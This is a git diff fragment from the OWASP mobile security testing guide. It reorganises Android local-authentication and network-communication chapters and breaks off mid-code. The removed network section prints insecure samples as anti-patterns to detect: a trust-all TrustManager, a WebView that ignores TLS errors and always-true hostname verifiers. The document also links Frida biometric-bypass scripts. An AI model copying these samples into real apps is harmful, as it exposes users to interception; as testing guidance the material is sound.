KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT) - .setBlockModes(KeyProperties.BLOCK_MODE_CBC) - .setUserAuthenticationRequired(true) - // Require that the user has unlocked in the last 30 seconds - .setUserAuthenticationValidityDurationSeconds(30) - .setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_PKCS7) - .build()); - keyGenerator.generateKey(); - } catch (NoSuchAlgorithmException | NoSuchProviderException - | InvalidAlgorithmParameterException | KeyStoreException - | CertificateException | IOException e) { - throw new RuntimeException("Failed to create a symmetric key", e); - } - ``` - -- Set up the lock screen to confirm: - - ```java - private static final int REQUEST_CODE_CONFIRM_DEVICE_CREDENTIALS = 1; //used as a number to verify whether this is where the activity results from - Intent intent = mKeyguardManager.createConfirmDeviceCredentialIntent(null, null); - if (intent != null) { - startActivityForResult(intent, REQUEST_CODE_CONFIRM_DEVICE_CREDENTIALS); - } - ``` - -- Use the key after lock screen: - - ```java - @Override - protected void onActivityResult(int requestCode, int resultCode, Intent data) { - if (requestCode == REQUEST_CODE_CONFIRM_DEVICE_CREDENTIALS) { - // Challenge completed, proceed with using cipher - if (resultCode == RESULT_OK) { - //use the key for the actual authentication flow - } else { - // The user canceled or didn’t complete the lock screen - // operation. Go to error/cancellation flow. - } - } - } - ``` - -### Third party SDKs - -Make sure that fingerprint authentication and/or other types of biometric authentication are exclusively based on the Android SDK and its APIs. If this is not the case, ensure that the alternative SDK has been properly vetted for any weaknesses. Make sure that the SDK is backed by the TEE/SE which unlocks a (cryptographic) secret based on the biometric authentication. This secret should not be unlocked by anything else, but a valid biometric entry. That way, it should never be the case that the fingerprint logic can be bypassed. - -## Testing Confirm Credentials (MSTG-AUTH-1 and MSTG-STORAGE-11) - -### Static Analysis - -Make sure that the unlocked key is used during the application flow. For example, the key may be used to decrypt local storage or a message received from a remote endpoint. If the application simply checks whether the user has unlocked the key or not, the application may be vulnerable to a local authentication bypass. - -### Dynamic Analysis - -Validate the duration of time (seconds) for which the key is authorized to be used after the user is successfully authenticated. This is only needed if `setUserAuthenticationRequired` is used. - -## Testing Biometric Authentication (MSTG-AUTH-8) - -### Static Analysis - -Note that there are quite some vendor/third party SDKs, which provide biometric support, but which have their own insecurities. Be very cautious when using third party SDKs to handle sensitive authentication logic. - -### Dynamic Analysis - -Please take a look at this detailed [blog article about the Android KeyStore and Biometric authentication](https://labs.withsecure.com/blog/how-secure-is-your-android-keystore-authentication "How Secure is your Android Keystore Authentication?"). This research includes two Frida scripts which can be used to test insecure implementations of biometric authentication and try to bypass them: - -- [Fingerprint bypass](https://github.com/FSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js "Fingerprint Bypass"): This Frida script will bypass authentication when the `CryptoObject` is not used in the `authenticate` method of the `BiometricPrompt` class. The authentication implementation relies on the callback `onAuthenticationSucceded` being called. -- [Fingerprint bypass via exception handling](https://github.com/FSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass-via-exception-handling.js "Fingerprint bypass via exception handling"): This Frida script will attempt to bypass authentication when the `CryptoObject` is used, but used in an incorrect way. The detailed explanation can be found in the section "Crypto Object Exception Handling" in the blog post. - -## References - -### OWASP MASVS - -- MSTG-AUTH-1: "If the app provides users access to a remote service, some form of authentication, such as username/password authentication, is performed at the remote endpoint." -- MSTG-AUTH-8: "Biometric authentication, if any, is not event-bound (i.e. using an API that simply returns "true" or "false"). Instead, it is based on unlocking the keychain/keystore." -- MSTG-STORAGE-11: "The app enforces a minimum device-access-security policy, such as requiring the user to set a device passcode." - -### Request App Permissions - -- Runtime Permissions - +--- +masvs_category: MASVS-AUTH +platform: android +--- + +# Android Local Authentication + +## Overview + +During local authentication, an app authenticates the user against credentials stored locally on the device. In other words, the user "unlocks" the app or some inner layer of functionality by providing a valid PIN, password or biometric characteristics such as face or fingerprint, which is verified by referencing local data. Generally, this is done so that users can more conveniently resume an existing session with a remote service or as a means of step-up authentication to protect some critical function. + +As stated before in chapter "[Mobile App Authentication Architectures](0x04e-Testing-Authentication-and-Session-Management.md)": The tester should be aware that local authentication should always be enforced at a remote endpoint or based on a cryptographic primitive. Attackers can easily bypass local authentication if no data returns from the authentication process. + +On Android, there are two mechanisms supported by the Android Runtime for local authentication: the Confirm Credential flow and the Biometric Authentication flow. + +### Confirm Credential Flow + +The confirm credential flow is available since Android 6.0 and is used to ensure that users do not have to enter app-specific passwords together with the lock screen protection. Instead: if a user has logged in to the device recently, then confirm-credentials can be used to unlock cryptographic materials from the `AndroidKeystore`. That is, if the user unlocked the device within the set time limits (`setUserAuthenticationValidityDurationSeconds`), otherwise the device needs to be unlocked again. + +Note that the security of Confirm Credentials is only as strong as the protection set at the lock screen. This often means that simple predictive lock-screen patterns are used and therefore we do not recommend any apps which require L2 of security controls to use Confirm Credentials. + +### Biometric Authentication Flow + +Biometric authentication is a convenient mechanism for authentication, but also introduces an additional attack surface when using it. The Android developer documentation gives an interesting overview and indicators for [measuring biometric unlock security](https://source.android.com/security/biometric/measure#strong-weak-unlocks "Measuring Biometric Unlock Security"). + +The Android platform offers three different classes for biometric authentication: + +- Android 10 (API level 29) and higher: `BiometricManager` +- Android 9 (API level 28) and higher: `BiometricPrompt` +- Android 6.0 (API level 23) and higher: `FingerprintManager` (deprecated in Android 9 (API level 28)) + + + +The class [`BiometricManager`](https://developer.android.com/reference/kotlin/android/hardware/biometrics/BiometricManager "BiometricManager") can be used to verify if biometric hardware is available on the device and if it's configured by the user. If that's the case, the class [`BiometricPrompt`](https://developer.android.com/reference/kotlin/android/hardware/biometrics/BiometricPrompt "BiometricPrompt") can be used to show a system-provided biometric dialog. + +The `BiometricPrompt` class is a significant improvement, as it allows to have a consistent UI for biometric authentication on Android and also supports more sensors than just fingerprint. + +This is different to the `FingerprintManager` class which only supports fingerprint sensors and provides no UI, forcing developers to build their own fingerprint UI. + +A very detailed overview and explanation of the Biometric API on Android was published on the [Android Developer Blog](https://android-developers.googleblog.com/2019/10/one-biometric-api-over-all-android.html "One Biometric API Over all Android"). + +### FingerprintManager (deprecated in Android 9 (API level 28)) + +Android 6.0 (API level 23) introduced public APIs for authenticating users via fingerprint, but is deprecated in Android 9 (API level 28). Access to the fingerprint hardware is provided through the [`FingerprintManager`](https://developer.android.com/reference/android/hardware/fingerprint/ "FingerprintManager") class. An app can request fingerprint authentication by instantiating a `FingerprintManager` object and calling its `authenticate` method. The caller registers callback methods to handle possible outcomes of the authentication process (i.e. success, failure, or error). Note that this method doesn't constitute strong proof that fingerprint authentication has actually been performed - for example, the authentication step could be patched out by an attacker, or the "success" callback could be overloaded using dynamic instrumentation. + +You can achieve better security by using the fingerprint API in conjunction with the Android `KeyGenerator` class. With this approach, a symmetric key is stored in the Android KeyStore and unlocked with the user's fingerprint. For example, to enable user access to a remote service, an AES key is created which encrypts the authentication token. By calling `setUserAuthenticationRequired(true)` when creating the key, it is ensured that the user must re-authenticate to retrieve it. The encrypted authentication token can then be saved directly on the device (e.g. via Shared Preferences). This design is a relatively safe way to ensure the user actually entered an authorized fingerprint. + +An even more secure option is using asymmetric cryptography. Here, the mobile app creates an asymmetric key pair in the KeyStore and enrolls the public key on the server backend. Later transactions are then signed with the private key and verified by the server using the public key. + +### Biometric Library + +Android provides a library called [Biometric](https://developer.android.com/jetpack/androidx/releases/biometric "Biometric library for Android") which offers a compatibility version of the `BiometricPrompt` and `BiometricManager` APIs, as implemented in Android 10, with full feature support back to Android 6.0 (API 23). + +You can find a reference implementation and instructions on how to [show a biometric authentication dialog](https://developer.android.com/training/sign-in/biometric-auth "Show a biometric authentication dialog") in the Android developer documentation. + +There are two `authenticate` methods available in the `BiometricPrompt` class. One of them expects a [`CryptoObject`](https://developer.android.com/reference/android/hardware/biometrics/BiometricPrompt.CryptoObject.html "CryptoObject"), which adds an additional layer of security for the biometric authentication. + +The authentication flow would be as follows when using CryptoObject: + +- The app creates a key in the KeyStore with `setUserAuthenticationRequired` and `setInvalidatedByBiometricEnrollment` set to true. Additionally, `setUserAuthenticationValidityDurationSeconds` should be set to -1. +- This key is used to encrypt information that is authenticating the user (e.g. session information or authentication token). +- A valid set of biometrics must be presented before the key is released from the KeyStore to decrypt the data, which is validated through the `authenticate` method and the `CryptoObject`. +- This solution cannot be bypassed, even on rooted devices, as the key from the KeyStore can only be used after successful biometric authentication. + +If `CryptoObject` is not used as part of the authenticate method, it can be bypassed by using Frida. See the "Dynamic Instrumentation" section for more details. + +Developers can use several [validation classes](https://source.android.com/security/biometric#validation "Validation of Biometric Auth") offered by Android to test the implementation of biometric authentication in their app. + +### FingerprintManager + +> This section describes how to implement biometric authentication by using the `FingerprintManager` class. Please keep in mind that this class is deprecated and the [Biometric library](https://developer.android.com/jetpack/androidx/releases/biometric "Biometric library for Android") should be used instead as a best practice. This section is just for reference, in case you come across such an implementation and need to analyze it. + +Begin by searching for `FingerprintManager.authenticate` calls. The first parameter passed to this method should be a `CryptoObject` instance which is a [wrapper class for crypto objects](https://developer.android.com/reference/android/hardware/fingerprint/FingerprintManager.CryptoObject.html "FingerprintManager.CryptoObject") supported by FingerprintManager. Should the parameter be set to `null`, this means the fingerprint authorization is purely event-bound, likely creating a security issue. + +The creation of the key used to initialize the cipher wrapper can be traced back to the `CryptoObject`. Verify the key was both created using the `KeyGenerator` class in addition to `setUserAuthenticationRequired(true)` being called during creation of the `KeyGenParameterSpec` object (see code samples below). + +Make sure to verify the authentication logic. For the authentication to be successful, the remote endpoint **must** require the client to present the secret retrieved from the KeyStore, a value derived from the secret, or a value signed with the client private key (see above). + +Safely implementing fingerprint authentication requires following a few simple principles, starting by first checking if that type of authentication is even available. On the most basic front, the device must run Android 6.0 or higher (API 23+). Four other prerequisites must also be verified: + +- The permission must be requested in the Android Manifest: + + ```xml + + ``` + +- Fingerprint hardware must be available: + + ```java + FingerprintManager fingerprintManager = (FingerprintManager) + context.getSystemService(Context.FINGERPRINT_SERVICE); + fingerprintManager.isHardwareDetected(); + ``` + +- The user must have a protected lock screen: + + ```java + KeyguardManager keyguardManager = (KeyguardManager) context.getSystemService(Context.KEYGUARD_SERVICE); + keyguardManager.isKeyguardSecure(); //note if this is not the case: ask the user to setup a protected lock screen + ``` + +- At least one finger should be registered: + + ```java + fingerprintManager.hasEnrolledFingerprints(); + ``` + +- The application should have permission to ask for a user fingerprint: + + ```java + context.checkSelfPermission(Manifest.permission.USE_FINGERPRINT) == PermissionResult.PERMISSION_GRANTED; + ``` + +If any of the above checks fail, the option for fingerprint authentication should not be offered. + +It is important to remember that not every Android device offers hardware-backed key storage. The `KeyInfo` class can be used to find out whether the key resides inside secure hardware such as a Trusted Execution Environment (TEE) or Secure Element (SE). + +```java +SecretKeyFactory factory = SecretKeyFactory.getInstance(getEncryptionKey().getAlgorithm(), ANDROID_KEYSTORE); +KeyInfo secetkeyInfo = (KeyInfo) factory.getKeySpec(yourencryptionkeyhere, KeyInfo.class); +secetkeyInfo.isInsideSecureHardware() +``` + +On certain systems, it is possible to enforce the policy for biometric authentication through hardware as well. This is checked by: + +```java +keyInfo.isUserAuthenticationRequirementEnforcedBySecureHardware(); +``` + +The following describes how to do fingerprint authentication using a symmetric key pair. + +Fingerprint authentication may be implemented by creating a new AES key using the `KeyGenerator` class by adding `setUserAuthenticationRequired(true)` in `KeyGenParameterSpec.Builder`. + +```java +generator = KeyGenerator.getInstance(KeyProperties.KEY_ALGORITHM_AES, KEYSTORE); + +generator.init(new KeyGenParameterSpec.Builder (KEY_ALIAS, + KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT) + .setBlockModes(KeyProperties.BLOCK_MODE_CBC) + .setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_PKCS7) + .setUserAuthenticationRequired(true) + .build() +); + +generator.generateKey(); +``` + +To perform encryption or decryption with the protected key, create a `Cipher` object and initialize it with the key alias. + +```java +SecretKey keyspec = (SecretKey)keyStore.getKey(KEY_ALIAS, null); + +if (mode == Cipher.ENCRYPT_MODE) { + cipher.init(mode, keyspec); +``` + +Keep in mind, a new key cannot be used immediately - it has to be authenticated through the `FingerprintManager` first. This involves wrapping the `Cipher` object into `FingerprintManager.CryptoObject` which is passed to `FingerprintManager.authenticate` before it will be recognized. + +```java +cryptoObject = new FingerprintManager.CryptoObject(cipher); +fingerprintManager.authenticate(cryptoObject, new CancellationSignal(), 0, this, null); +``` + +The callback method `onAuthenticationSucceeded(FingerprintManager.AuthenticationResult result)` is called when the authentication succeeds. The authenticated `CryptoObject` can then be retrieved from the result. + +```java +public void authenticationSucceeded(FingerprintManager.AuthenticationResult result) { + cipher = result.getCryptoObject().getCipher(); + + //(... do something with the authenticated cipher object ...) +} +``` + +The following describes how to do fingerprint authentication using an asymmetric key pair. + +To implement fingerprint authentication using asymmetric cryptography, first create a signing key using the `KeyPairGenerator` class, and enroll the public key with the server. You can then authenticate pieces of data by signing them on the client and verifying the signature on the server. A detailed example for authenticating to remote servers using the fingerprint API can be found in the [Android Developers Blog](https://android-developers.googleblog.com/2015/10/new-in-android-samples-authenticating.html "Authenticating to remote servers using the Fingerprint API"). + +A key pair is generated as follows: + +```java +KeyPairGenerator.getInstance(KeyProperties.KEY_ALGORITHM_EC, "AndroidKeyStore"); +keyPairGenerator.initialize( + new KeyGenParameterSpec.Builder(MY_KEY, + KeyProperties.PURPOSE_SIGN) + .setDigests(KeyProperties.DIGEST_SHA256) + .setAlgorithmParameterSpec(new ECGenParameterSpec("secp256r1")) + .setUserAuthenticationRequired(true) + .build()); +keyPairGenerator.generateKeyPair(); +``` + +To use the key for signing, you need to instantiate a CryptoObject and authenticate it through `FingerprintManager`. + +```java +Signature.getInstance("SHA256withECDSA"); +KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore"); +keyStore.load(null); +PrivateKey key = (PrivateKey) keyStore.getKey(MY_KEY, null); +signature.initSign(key); +CryptoObject cryptoObject = new FingerprintManager.CryptoObject(signature); + +CancellationSignal cancellationSignal = new CancellationSignal(); +FingerprintManager fingerprintManager = + context.getSystemService(FingerprintManager.class); +fingerprintManager.authenticate(cryptoObject, cancellationSignal, 0, this, null); +``` + +You can now sign the contents of a byte array `inputBytes` as follows. + +```java +Signature signature = cryptoObject.getSignature(); +signature.update(inputBytes); +byte[] signed = signature.sign(); +``` + +- Note that in cases where transactions are signed, a random nonce should be generated and added to the signed data. Otherwise, an attacker could replay the transaction. +- To implement authentication using symmetric fingerprint authentication, use a challenge-response protocol. + +### Additional Security Features + +Android 7.0 (API level 24) adds the `setInvalidatedByBiometricEnrollment(boolean invalidateKey)` method to `KeyGenParameterSpec.Builder`. When `invalidateKey` value is set to `true` (the default), keys that are valid for fingerprint authentication are irreversibly invalidated when a new fingerprint is enrolled. This prevents an attacker from retrieving they key even if they are able to enroll an additional fingerprint. + +Android 8.0 (API level 26) adds two additional error codes: + +- `FINGERPRINT_ERROR_LOCKOUT_PERMANENT`: The user has tried too many times to unlock their device using the fingerprint reader. +- `FINGERPRINT_ERROR_VENDOR`: A vendor-specific fingerprint reader error occurred. + +### Implementing biometric authentication + +Reassure that the lock screen is set: + +```java +KeyguardManager mKeyguardManager = (KeyguardManager) getSystemService(Context.KEYGUARD_SERVICE); +if (!mKeyguardManager.isKeyguardSecure()) { + // Show a message that the user hasn't set up a lock screen. +} +``` + +- Create the key protected by the lock screen. In order to use this key, the user needs to have unlocked the device in the last X seconds, or the device needs to be unlocked again. Make sure that this timeout is not too long, as it becomes harder to ensure that it was the same user using the app as the user unlocking the device: + + ```java + try { + KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore"); + keyStore.load(null); + KeyGenerator keyGenerator = KeyGenerator.getInstance( + KeyProperties.KEY_ALGORITHM_AES, "AndroidKeyStore"); + + // Set the alias of the entry in Android KeyStore where the key will appear + // and the constrains (purposes) in the constructor of the Builder + keyGenerator.init(new KeyGenParameterSpec.Builder(KEY_NAME, + KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT) + .setBlockModes(KeyProperties.BLOCK_MODE_CBC) + .setUserAuthenticationRequired(true) + // Require that the user has unlocked in the last 30 seconds + .setUserAuthenticationValidityDurationSeconds(30) + .setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_PKCS7) + .build()); + keyGenerator.generateKey(); + } catch (NoSuchAlgorithmException | NoSuchProviderException + | InvalidAlgorithmParameterException | KeyStoreException + | CertificateException | IOException e) { + throw new RuntimeException("Failed to create a symmetric key", e); + } + ``` + +- Set up the lock screen to confirm: + + ```java + private static final int REQUEST_CODE_CONFIRM_DEVICE_CREDENTIALS = 1; //used as a number to verify whether this is where the activity results from + Intent intent = mKeyguardManager.createConfirmDeviceCredentialIntent(null, null); + if (intent != null) { + startActivityForResult(intent, REQUEST_CODE_CONFIRM_DEVICE_CREDENTIALS); + } + ``` + +- Use the key after lock screen: + + ```java + @Override + protected void onActivityResult(int requestCode, int resultCode, Intent data) { + if (requestCode == REQUEST_CODE_CONFIRM_DEVICE_CREDENTIALS) { + // Challenge completed, proceed with using cipher + if (resultCode == RESULT_OK) { + //use the key for the actual authentication flow + } else { + // The user canceled or didn’t complete the lock screen + // operation. Go to error/cancellation flow. + } + } + } + ``` + +### Third party SDKs + +Make sure that fingerprint authentication and/or other types of biometric authentication are exclusively based on the Android SDK and its APIs. If this is not the case, ensure that the alternative SDK has been properly vetted for any weaknesses. Make sure that the SDK is backed by the TEE/SE which unlocks a (cryptographic) secret based on the biometric authentication. This secret should not be unlocked by anything else, but a valid biometric entry. That way, it should never be the case that the fingerprint logic can be bypassed. diff --git a/Document/0x05g-Testing-Network-Communication.md b/Document/0x05g-Testing-Network-Communication.md index fdf3d80edc..7ba8a83beb 100644 --- a/Document/0x05g-Testing-Network-Communication.md +++ b/Document/0x05g-Testing-Network-Communication.md @@ -1,3 +1,8 @@ +--- +masvs_category: MASVS-NETWORK +platform: android +--- + # Android Network Communication ## Overview @@ -120,417 +125,3 @@ Android relies on a [security provider](https://developer.android.com/training/a To avoid known vulnerabilities, developers need to make sure that the application will install a proper security provider. Since July 11, 2016, Google [has been rejecting Play Store application submissions](https://support.google.com/faqs/answer/6376725?hl=en "How to address OpenSSL vulnerabilities in your apps") (both new applications and updates) that use vulnerable versions of OpenSSL. - -## Testing Data Encryption on the Network (MSTG-NETWORK-1) - -### Static Analysis - -#### Testing Network Requests over Secure Protocols - -First, you should identify all network requests in the source code and ensure that no plain HTTP URLs are used. Make sure that sensitive information is sent over secure channels by using [`HttpsURLConnection`](https://developer.android.com/reference/javax/net/ssl/HttpsURLConnection.html "HttpsURLConnection") or [`SSLSocket`](https://developer.android.com/reference/javax/net/ssl/SSLSocket.html "SSLSocket") (for socket-level communication using TLS). - -#### Testing Network API Usage - -Next, even when using a low-level API which is supposed to make secure connections (such as `SSLSocket`), be aware that it has to be securely implemented. For instance, `SSLSocket` **doesn't** verify the hostname. Use `getDefaultHostnameVerifier` to verify the hostname. The Android developer documentation includes a [code example](https://developer.android.com/training/articles/security-ssl.html#WarningsSslSocket "Warnings About Using SSLSocket Directly"). - -#### Testing for Cleartext Traffic - -Next, you should ensure that the app is not allowing cleartext HTTP traffic. Since Android 9 (API level 28) cleartext HTTP traffic is blocked by default (thanks to the [default Network Security Configuration](#default-configurations)) but there are multiple ways in which an application can still send it: - -- Setting the [`android:usesCleartextTraffic`](https://developer.android.com/guide/topics/manifest/application-element#usesCleartextTraffic "Android documentation - usesCleartextTraffic flag") attribute of the `` tag in the AndroidManifest.xml file. Note that this flag is ignored in case the Network Security Configuration is configured. -- Configuring the Network Security Configuration to enable cleartext traffic by setting the `cleartextTrafficPermitted` attribute to true on `` elements. -- Using low-level APIs (e.g. [`Socket`](https://developer.android.com/reference/java/net/Socket "Socket class")) to set up a custom HTTP connection. -- Using a cross-platform framework (e.g. Flutter, Xamarin, ...), as these typically have their own implementations for HTTP libraries. - -All of the above cases must be carefully analyzed as a whole. For example, even if the app does not permit cleartext traffic in its Android Manifest or Network Security Configuration, it might actually still be sending HTTP traffic. That could be the case if it's using a low-level API (for which Network Security Configuration is ignored) or a badly configured cross-platform framework. - -For more information refer to the article ["Security with HTTPS and SSL"](https://developer.android.com/training/articles/security-ssl.html). - -### Dynamic Analysis - -Intercept the tested app's incoming and outgoing network traffic and make sure that this traffic is encrypted. You can intercept network traffic in any of the following ways: - -- Capture all HTTP(S) and Websocket traffic with an interception proxy like [OWASP ZAP](0x08a-Testing-Tools.md#owasp-zap) or [Burp Suite](0x08a-Testing-Tools.md#burp-suite) and make sure all requests are made via HTTPS instead of HTTP. -- Interception proxies like Burp and OWASP ZAP will show HTTP(S) traffic only. You can, however, use a Burp plugin such as [Burp-non-HTTP-Extension](https://github.com/summitt/Burp-Non-HTTP-Extension "Burp-non-HTTP-Extension") or the tool [mitm-relay](https://github.com/jrmdev/mitm_relay "mitm-relay") to decode and visualize communication via XMPP and other protocols. - -> Some applications may not work with proxies like Burp and OWASP ZAP because of Certificate Pinning. In such a scenario, please check ["Testing Custom Certificate Stores and Certificate Pinning"](#testing-custom-certificate-stores-and-certificate-pinning-mstg-network-4). - -For more details refer to: - -- ["Intercepting Traffic on the Network Layer"](0x04f-Testing-Network-Communication.md#intercepting-traffic-on-the-network-layer) from chapter "Mobile App Network Communication" -- ["Setting up a Network Testing Environment"](0x05b-Basic-Security_Testing.md#setting-up-a-network-testing-environment) from chapter "Android Basic Security Testing" - -## Testing the TLS Settings (MSTG-NETWORK-2) - -Refer to section ["Verifying the TLS Settings"](0x04f-Testing-Network-Communication.md#verifying-the-tls-settings) in chapter "Mobile App Network Communication" for details. - -## Testing Endpoint Identify Verification (MSTG-NETWORK-3) - -### Static Analysis - -Using TLS to transport sensitive information over the network is essential for security. However, encrypting communication between a mobile application and its backend API is not trivial. Developers often decide on simpler but less secure solutions (e.g., those that accept any certificate) to facilitate the development process, and sometimes these weak solutions [make it into the production version](https://saschafahl.de/static/paper/androidssl2012.pdf "Hunting Down Broken SSL in Android Apps"), potentially exposing users to [man-in-the-middle attacks](https://cwe.mitre.org/data/definitions/295.html "CWE-295: Improper Certificate Validation"). - -Two key issues should be addressed: - -- Verify that a certificate comes from a trusted source, i.e. a trusted CA (Certificate Authority). -- Determine whether the endpoint server presents the right certificate. - -Make sure that the hostname and the certificate itself are verified correctly. Examples and common pitfalls are available in the [official Android documentation](https://developer.android.com/training/articles/security-ssl.html "Android Documentation - SSL"). Search the code for examples of `TrustManager` and `HostnameVerifier` usage. In the sections below, you can find examples of the kind of insecure usage that you should look for. - -> Note that from Android 8.0 (API level 26) onward, there is no support for SSLv3 and `HttpsURLConnection` will no longer perform a fallback to an insecure TLS/SSL protocol. - -#### Verifying the Target SDK Version - -Applications targeting Android 7.0 (API level 24) or higher will use a **default Network Security Configuration that doesn't trust any user supplied CAs**, reducing the possibility of MITM attacks by luring users to install malicious CAs. - -[Decode the app using apktool](0x05b-Basic-Security_Testing.md#exploring-the-app-package) and verify that the `targetSdkVersion` in apktool.yml is equal to or higher than `24`. - -```txt -grep targetSdkVersion UnCrackable-Level3/apktool.yml - targetSdkVersion: '28' -``` - -However, even if `targetSdkVersion >=24`, the developer can disable default protections by using a custom Network Security Configuration defining a custom trust anchor **forcing the app to trust user supplied CAs**. See ["Analyzing Custom Trust Anchors"](#analyzing-custom-trust-anchors). - -#### Analyzing Custom Trust Anchors - -Search for the [Network Security Configuration](#android-network-security-configuration) file and inspect any custom `` defining `` (which should be avoided). - -You should carefully analyze the [precedence of entries](https://developer.android.com/training/articles/security-config#ConfigInheritance): - -- If a value is not set in a `` entry or in a parent ``, the configurations in place will be based on the `` -- If not defined in this entry, the [default configurations](#default-configurations) will be used. - -Take a look at this example of a Network Security Configuration for an app targeting Android 9 (API level 28): - -```xml - - - - owasp.org - - - - - - -``` - -Some observations: - -- There's no ``, meaning that the [default configuration](#default-configurations) for Android 9 (API level 28) or higher will be used for all other connections (only `system` CA will be trusted in principle). -- However, the `` overrides the default configuration allowing the app to trust both `system` and `user` CAs for the indicated `` (owasp.org). -- This doesn't affect subdomains because of `includeSubdomains="false"`. - -Putting all together we can _translate_ the above Network Security Configuration to: "the app trusts system and user CAs for the owasp.org domain, excluding its subdomains. For any other domains the app will trust the system CAs only". - -#### Verifying the Server Certificate - -`TrustManager` is a means of verifying conditions necessary for establishing a trusted connection in Android. The following conditions should be checked at this point: - -- Has the certificate been signed by a trusted CA? -- Has the certificate expired? -- Is the certificate self-signed? - -The following code snippet is sometimes used during development and will accept any certificate, overwriting the functions `checkClientTrusted`, `checkServerTrusted`, and `getAcceptedIssuers`. Such implementations should be avoided, and, if they are necessary, they should be clearly separated from production builds to avoid built-in security flaws. - -```java -TrustManager[] trustAllCerts = new TrustManager[] { - new X509TrustManager() { - @Override - public X509Certificate[] getAcceptedIssuers() { - return new java.security.cert.X509Certificate[] {}; - } - - @Override - public void checkClientTrusted(X509Certificate[] chain, String authType) - throws CertificateException { - } - - @Override - public void checkServerTrusted(X509Certificate[] chain, String authType) - throws CertificateException { - } - } - }; - -// SSLContext context -context.init(null, trustAllCerts, new SecureRandom()); -``` - -#### WebView Server Certificate Verification - -Sometimes applications use a WebView to render the website associated with the application. This is true of HTML/JavaScript-based frameworks such as Apache Cordova, which uses an internal WebView for application interaction. When a WebView is used, the mobile browser performs the server certificate validation. Ignoring any TLS error that occurs when the WebView tries to connect to the remote website is a bad practice. - -The following code will ignore TLS issues, exactly like the WebViewClient custom implementation provided to the WebView: - -```java -WebView myWebView = (WebView) findViewById(R.id.webview); -myWebView.setWebViewClient(new WebViewClient(){ - @Override - public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) { - //Ignore TLS certificate errors and instruct the WebViewClient to load the website - handler.proceed(); - } -}); -``` - -#### Apache Cordova Certificate Verification - -Implementation of the Apache Cordova framework's internal WebView usage will ignore [TLS errors](https://github.com/apache/cordova-android/blob/master/framework/src/org/apache/cordova/engine/SystemWebViewClient.java "TLS errors ignoring by Apache Cordova in WebView") in the method `onReceivedSslError` if the flag `android:debuggable` is enabled in the application manifest. Therefore, make sure that the app is not debuggable. See the test case "Testing If the App is Debuggable". - -#### Hostname Verification - -Another security flaw in client-side TLS implementations is the lack of hostname verification. Development environments usually use internal addresses instead of valid domain names, so developers often disable hostname verification (or force an application to allow any hostname) and simply forget to change it when their application goes to production. The following code disables hostname verification: - -```java -final static HostnameVerifier NO_VERIFY = new HostnameVerifier() { - public boolean verify(String hostname, SSLSession session) { - return true; - } -}; -``` - -With a built-in `HostnameVerifier`, accepting any hostname is possible: - -```java -HostnameVerifier NO_VERIFY = org.apache.http.conn.ssl.SSLSocketFactory - .ALLOW_ALL_HOSTNAME_VERIFIER; -``` - -Make sure that your application verifies a hostname before setting a trusted connection. - -### Dynamic Analysis - -When testing an app targeting Android 7.0 (API level 24) or higher it should be effectively applying the Network Security Configuration and you shouldn't able to see the decrypted HTTPS traffic at first. However, if the app targets API levels below 24, the app will automatically accept the installed user certificates. - -To test improper certificate verification launch a MITM attack using an interception proxy such as Burp. Try the following options: - -- **Self-signed certificate:** - 1. In Burp, go to the **Proxy** tab and select the **Options** tab. - 2. Go to the **Proxy Listeners** section, highlight your listener, and click **Edit**. - 3. Go to the **Certificate** tab, check **Use a self-signed certificate**, and click **Ok**. - 4. Run your application. If you're able to see HTTPS traffic, your application is accepting self-signed certificates. -- **Accepting certificates with an untrusted CA:** - 1. In Burp, go to the **Proxy** tab and select the **Options** tab. - 2. Go to the **Proxy Listeners** section, highlight your listener, and click **Edit**. - 3. Go to the **Certificate** tab, check **Generate a CA-signed certificate with a specific hostname**, and type in the backend server's hostname. - 4. Run your application. If you're able to see HTTPS traffic, your application is accepting certificates with an untrusted CA. -- **Accepting incorrect hostnames:** - 1. In Burp, go to the **Proxy** tab and select the **Options** tab. - 2. Go to the **Proxy Listeners** section, highlight your listener, and click **Edit**. - 3. Go to the **Certificate** tab, check **Generate a CA-signed certificate with a specific hostname**, and type in an invalid hostname, e.g., example.org. - 4. Run your application. If you're able to see HTTPS traffic, your application is accepting all hostnames. - -If you're still not able to see any decrypted HTTPS traffic, your application might be implementing [certificate pinning](#testing-custom-certificate-stores-and-certificate-pinning-mstg-network-4). - -## Testing Custom Certificate Stores and Certificate Pinning (MSTG-NETWORK-4) - -### Static Analysis - -#### Network Security Configuration - -Inspect the Network Security Configuration looking for any `` elements. Check their `expiration` date, if any. If expired, certificate pinning will be disabled for the affected domains. - -> **Testing Tip**: If a certificate pinning validation check has failed, the following event should be logged in the [system logs](0x05b-Basic-Security_Testing.md#monitoring-system-logs): - -```bash -I/X509Util: Failed to validate the certificate chain, error: Pin verification failed -``` - -#### TrustManager - -Implementing certificate pinning involves three main steps: - -- Obtain the certificate of the desired host(s). -- Make sure the certificate is in .bks format. -- Pin the certificate to an instance of the default Apache Httpclient. - -To analyze the correct implementation of certificate pinning, the HTTP client should load the KeyStore: - -```java -InputStream in = resources.openRawResource(certificateRawResource); -keyStore = KeyStore.getInstance("BKS"); -keyStore.load(resourceStream, password); -``` - -Once the KeyStore has been loaded, we can use the TrustManager that trusts the CAs in our KeyStore: - -```java -String tmfAlgorithm = TrustManagerFactory.getDefaultAlgorithm(); -TrustManagerFactory tmf = TrustManagerFactory.getInstance(tmfAlgorithm); -tmf.init(keyStore); -// Create an SSLContext that uses the TrustManager -// SSLContext context = SSLContext.getInstance("TLS"); -sslContext.init(null, tmf.getTrustManagers(), null); -``` - -The app's implementation may be different, pinning against the certificate's public key only, the whole certificate, or a whole certificate chain. - -#### Network Libraries and WebViews - -Applications that use third-party networking libraries may utilize the libraries' certificate pinning functionality. For example, [okhttp](https://github.com/square/okhttp/wiki/HTTPS "okhttp library") can be set up with the `CertificatePinner` as follows: - -```java -OkHttpClient client = new 